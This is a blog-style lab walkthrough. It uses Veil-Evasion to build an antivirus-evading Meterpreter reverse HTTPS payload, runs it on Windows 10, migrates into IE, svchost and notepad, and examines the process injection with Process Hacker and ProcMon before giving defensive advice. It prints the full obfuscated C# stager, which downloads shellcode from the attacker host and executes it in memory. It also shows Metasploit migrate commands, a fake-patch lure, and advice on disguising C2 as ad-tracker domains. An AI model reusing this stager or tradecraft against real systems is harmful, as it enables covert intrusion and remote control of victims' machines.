Veil-Evasion, and Process Injection monitoring with ProcMon

I’m taking a break from the Bears writeup to look at the swiss army knife payload generator and obfuscation tool Veil-Evasion. For those not familiar, it is a fairly foolproof way to get your payloads around client side AV. Most AV products suck, but they are still good enough to catch any default payloads from metasploit. The goal of veil is to give you similar tools to what the guys out there doing this for a living actually have. Major props to @harmj0y and the crew behind Veil. Today I am going to generate a payload, run it, migrate to hide it, and then see what things look like from the endpoint. There are LOTS of cool payloads so I recommend checking it out.

For this initial go around I will use a meterpreter rev_https shell which is a tried and true way to get around most firewalls. Since I am going to do a rev_https shell, it makes sense that I set my listener to 443. At a casual glance IR/CIRT might assume that it is https traffic to a local web server. Enter your LHOST and LPORT, then simply type “generate” to run and compile the C# code. As the splash mentions, don’t be an ass and submit the code to VirusTotal or malwr.

=========================================================================
 Veil-Evasion | [Version]: 2.28.2
=========================================================================
 [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
=========================================================================


 [*] Executable written to: /var/lib/veil-evasion/output/compiled/service.exe

 Language:		cs
 Payload:		cs/meterpreter/rev_https
 Required Options:      COMPILE_TO_EXE=Y  LHOST=192.168.109.134  LPORT=443
                        USE_ARYA=N
 Payload File:		/var/lib/veil-evasion/output/source/service.cs
 Handler File:		/var/lib/veil-evasion/output/handlers/service_handler.rc

 [*] Your payload files have been generated, don't get caught!
 [!] And don't submit samples to any online scanner! ;)

Let’s take a look at the source code before we run the exe on a Win10 box. I won’t dig into the details of the loops since we already know this is a reverse shell which is going to beacon out. Looking at the random strings and methods of building arrays should look fairly familiar if you have spent any time looking at VBS macro droppers which are automated in a similar fashion. We can see the Crypto libraries for the encrypted SSL comms, we can see the faked user agent strings, and that the C2 is actually going to be passed from the attack box to the victim in the URI.

KcgNMLCmI = HVITufm("https://192.168.109.134:443/" + hSIyuaclhbIKw(VUrMJJNOMylnMo));

On a typical engagement this would likely be an innocuous sounding domain name pointing to your handler running in AWS or similar. Would you immediately be suspicious of a domain like this in your traffic?

https://adtracker.advertisingaffiliates.com:443/FWEasfwepoiujcpaasfsdIaseafEFQOFEWCSCSsskdlsakdeJSDUEREJFErfxdsDEW234123

I wouldn’t.. Consider that when I go to CNN with firebug on, I see stuff like this which is legit.

https://cdn.doubleverify.com/dvtp_src.js?ctx=971108&cmp=10791796&sid=1408171&plc=144230506&num=&adid=&advid=4053494&adsrv=1®ion=30&btreg=316303355&btadsrv=doubleclick&crt=78198179&crtname=&chnl=&unit=&pid=&uid=&dvtagver=6.1.src

Still doubt me?

This is why it is so damn hard to be on the defensive side. Your best bet is defending the endpoints since network traffic is a guessing game even if you are in an environment that can stomach domain white listing.

Anyhow, here is the code generated for the reverse shell by Veil-Evasion.

using System; using System.Net; using System.Net.Sockets; using System.Linq; using System.Runtime.InteropServices;
namespace qmVybJ { class HwPXMGnl {
private static bool yzrhGgHYX(object sender, System.Security.Cryptography.X509Certificates.X509Certificate cert,System.Security.Cryptography.X509Certificates.X509Chain chain,System.Net.Security.SslPolicyErrors sslPolicyErrors) { return true; }
static string wvenQNG(Random r, int s) {
char[] ucSiUmAtHTox = new char[s];
string jPzxWRqspJKAoqR = "SUjRIxarp3mEJflcFAvVozD7d84wCtYXGWKOMy96TqZs25QgkN01uhBLeinPHb";
for (int i = 0; i < s; i++){ ucSiUmAtHTox[i] = jPzxWRqspJKAoqR[r.Next(jPzxWRqspJKAoqR.Length)];}
return new string(ucSiUmAtHTox);}
static bool YqULHNvuyxpbUR(string s) {return ((s.ToCharArray().Select(x => (int)x).Sum()) % 0x100 == 92);}
static string hSIyuaclhbIKw(Random r) { string xRxnMrflSbj = "";
for (int i = 0; i < 64; ++i) { xRxnMrflSbj = wvenQNG(r, 3);
string talfjdJc = new string("m41NbdYgfGQjW3nzOHUS7pksIZl2y9ciVXrvAB0xTKaquCPF5EoJM8tehDR6wL".ToCharArray().OrderBy(s => (r.Next(2) % 2) == 0).ToArray());
for (int j = 0; j < talfjdJc.Length; ++j) {
string rFFdcaABTwojeR = xRxnMrflSbj + talfjdJc[j];
if (YqULHNvuyxpbUR(rFFdcaABTwojeR)) {return rFFdcaABTwojeR;}}} return "9vXU";}static byte[] HVITufm(string tVjsDhLPDKHNf) {
ServicePointManager.ServerCertificateValidationCallback = yzrhGgHYX;
WebClient FPcGsTebmeYWk = new System.Net.WebClient();
FPcGsTebmeYWk.Headers.Add("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)");
FPcGsTebmeYWk.Headers.Add("Accept", "*/*");
FPcGsTebmeYWk.Headers.Add("Accept-Language", "en-gb,en;q=0.5");
FPcGsTebmeYWk.Headers.Add("Accept-Charset", "ISO-8859-1,utf-8;q=0.7,*;q=0.7");
byte[] aDwIpKd = null;
try { aDwIpKd = FPcGsTebmeYWk.DownloadData(tVjsDhLPDKHNf);
if (aDwIpKd.Length < 100000) return null;}
catch (WebException) {}
return aDwIpKd;}
static void QWtlFDGkN(byte[] HuHeuyxoa) {
    if (HuHeuyxoa != null) {
        UInt32 lgUBVysGbhpUT = VirtualAlloc(0, (UInt32)HuHeuyxoa.Length, 0x1000, 0x40);
        Marshal.Copy(HuHeuyxoa, 0, (IntPtr)(lgUBVysGbhpUT), HuHeuyxoa.Length);
        IntPtr WcqudPV = IntPtr.Zero;
        UInt32 bBKzAFzzBm = 0;
        IntPtr yqAnvgjjBIRQG = IntPtr.Zero;
        WcqudPV = CreateThread(0, 0, lgUBVysGbhpUT, yqAnvgjjBIRQG, 0, ref bBKzAFzzBm);
        WaitForSingleObject(WcqudPV, 0xFFFFFFFF); }}
static void Main(){
Random VUrMJJNOMylnMo = new Random((int)DateTime.Now.Ticks);
byte[] KcgNMLCmI = HVITufm("https://192.168.109.134:443/" + hSIyuaclhbIKw(VUrMJJNOMylnMo));
QWtlFDGkN(KcgNMLCmI);}
[DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 pLnaDIDFdQwKcK,UInt32 kugvrUNzuh, UInt32 ixrbXNyJBMXzr, UInt32 ISTUcXfe);
[DllImport("kernel32")]private static extern IntPtr CreateThread(UInt32 EnjOYJzc, UInt32 bDgnvBXv, UInt32 gCOpUanS,IntPtr wbsOhMOIh, UInt32 PaAqAbKiE, ref UInt32 yxbSxjcoOTX);
[DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr ZlWwvPAlz, UInt32 EPJujz); } }

Now let's get the exe onto the victim box and run it. First we setup our metasploit handler which veil has been nice enough to give us a handler file for ( /var/lib/veil-evasion/output/handlers/service_handler.rc). This handy file makes it a one shot deal to get your payload handler running. Once in msfconsole simply type "resource" and then the path to your .rc file.

I am glossing over the initial compromise method since that isn't the focus of this briefing. Let's say we social engineer someone into believing they need to patch their system, and include a link to download the patch.

On the attacker box I see a session being started when the Windows 10 box runs the service.exe. To make things more "difficult" for the defensive side I first interact with the session, then I am going to list processes and migrate to one so that the initial service.exe can get killed and I can live on in process injection.

If you are new to metasploit the following commands inside msfconsole list sessions, interact with one, find processes, then migrate.

sessions -l 
sessions -i session# 
ps
migrate pid#

Since I am masquerading C2 traffic as https traffic it makes sense that I would migrate to something like a browser. Here is a shot of a successful migration to the venerable IE.

On the host box I fire up process hacker like a dutiful sys admin might if he suspected something was suspicious. There is no longer a suspicious "service.exe" and the network connections reveal Internet Explorer talking with websites over the normal 80 and 443. You can obviously pick out the "bad" connection since you know for this demo that I am a local attacker, but if you replaced my local Kali handler with one and AWS and a public IP good luck spotting that. Of course I am eventually going to want to elevate myself as system and migrate to somewhere else for persistence since in my current state if the user kills internet explorer my shell dies with it. For the sake of making this a bit more challenging I will leave my shell inside internet explorer.

Using Process Hacker and looking at strings in memory I can make out the various URI's corresponding to Bing, yahoo, and anything else I have open. Mixed in there is the IP address of the attack box, but if that was an address like https://amazon.cdnnetwork.com I would naturally just assume that my browser was pulling down ads on one of the homepages. Defensive Group Policy like Applocker and changing scripts to open with notepad.exe are a million times more effective than AV or IOC based detection on network traffic. Whitelisting can be bypassed via injection, but for most circumstances if you can stop that js/hta/vbs/exe/com from running in a temp directory you will force the attacker down a much harder avenue. It is a war of attrition. For an added bonus, Applocker is built into Windows so you don't have to blow more money in your company. Looking at the traffic in Wireshark confirms that all the communications are TLS encrypted so unless you have MITM functionality on network traffic you aren't going to have squat.

HOWEVER, if you migrate your meterpreter session into iexplore.exe you find yourself in a sandbox which you weren't in initially. So in theory an attacker could most likely stay in your browser and easily blend in, but in practice an attacker is going to want to be injected into a process operating with elevated privileges and one that doesn't get killed in the event that a user closes the browser. Here is a screenshot showing that while injected into the browser I couldn't view system process and I eventually I got my shell killed when the browser was closed by the user.

Now lets redo the infection and see what things look like if I go the most likely route that an attacker would take. Exiting out of meterpreter I can see that my handler is still running on 443 so there is no reason to re-launch it.

Relaunching the "service.exe" malware from the browser and pulling up Process Hacker shows that this should clearly alarm you due to the location that it is running out of. I can't stress enough that if you want to make life hard for the APT's, ransomware pushers, and pen testers remove the ability for an executable to run out of any TEMP paths like C:\TEMP (older) or the %APPDDATA% (newer) path via Applocker policy.

Now I migrate over to svchost.exe and you can see in process hacker that the connection is coming through the process which I injected into. Process Injection isn't just done by malware, and nothing yells out and alerts you even on Windows10 that a random executable in APPDATA just injected into an application signed by Microsoft.

If you go look at the memory of the svchost.exe which has injection going through it versus your average svchost.exe you do notice that there is a LOT more going on, particulary with crypto libraries being loaded. You can also see some unique strings which indicate what is going on to the trained eye, but only if you are already looking for this.

Let's take a look at what sort of artifacts are created when this process migration goes through. I am going to use SysInternals ProcMon to watch the migration as inject my shell from it's original dropper "service.exe" into the legitimate notepad.exe. I chose this over the previous migrations because these two processes should have less noise. service.exe is all bad, and notepad.exe is simple and should have no network functionality. If I watched the migration to iexplore.exe there would be substantial noise since many of the connectivity modules and hooks would be present under legitimate circumstances as well.

Filtering off of notepad.exe and service.exe, then viewing Network Summary (Under Tools Dropdown) I can clearly see when the hand off has completed.

Actually looking at the events that have been created from this migration are a little more opaque, but you can see the threads being killed inside service and corresponding ones being opened up in notepad.

Stepping back in time, let me look at the Stack before migration.

And now after the trace is complete during the injection we look at the stack.

Running PS to list the processes inside the session shows what that Query looks like, as you would expect it finds all the running processes. The IRP_MJ_QUERY_INFORMATION is a request by the IO/Manager which does exactly what we would expect, it queries the file system for information on files. Pretty cool to be seeing this level of granularity on a command.

Now I migrate my shell into notepad.exe and look at Procmon for what appears to be the first event of the migration, a Thread Create inside notepad followed with a bunch of Thread's being terminated inside the malicious service.exe. Looking at that thread even show's the stack now contains a number of modules only referenced by the memory address and not a known DLL or program.

As we follow along the event timeline and check the stack for service.exe and notepad.exe we can see the migration occurring. Do to the overload of information that Procmon provides thousands of events occur in between. Once you see service.exe no longer in the timeline and you check on notepad you can see the modules running in the stack include the system and communication drivers you would expect of a backdoor shell.

In summation I want to drive home the following.

  1. You should run AV at home and in your Enterprise, but it should not be considered your "endpoint security solution." AV is fairly easy to get around using tools like Veil or custom packers.
  2. Monitoring network traffic is good, particularly for Data Loss Prevention (DLP). It is not good for spotting malicious traffic however since nearly all bad guys are using https which you will never be able to block at the firewall. Domain whitelisting is great, but C2 can still be delivered via googledocs, twitter, instagram, etc, so you have to REALLY be ready to lock down the network and let the users complain.
  3. Process Injection works and it isn't going away. The one choke point you really have as a defender is to block that moment when the user clicks to run the .hta, js, macro, com, scr, exe, ws, ps1, etc. Your best bet is to not allow regular users to ever run scripts or executable's in temp paths via GroupPolicy. Lots of organizations lock it down so you need an admin to install software, but this does nothing to stop a user from running random code out of %APPDATA%. In the end statistics don't lie and that is where malware drops and often times lives out it's entire life.

Leave a Reply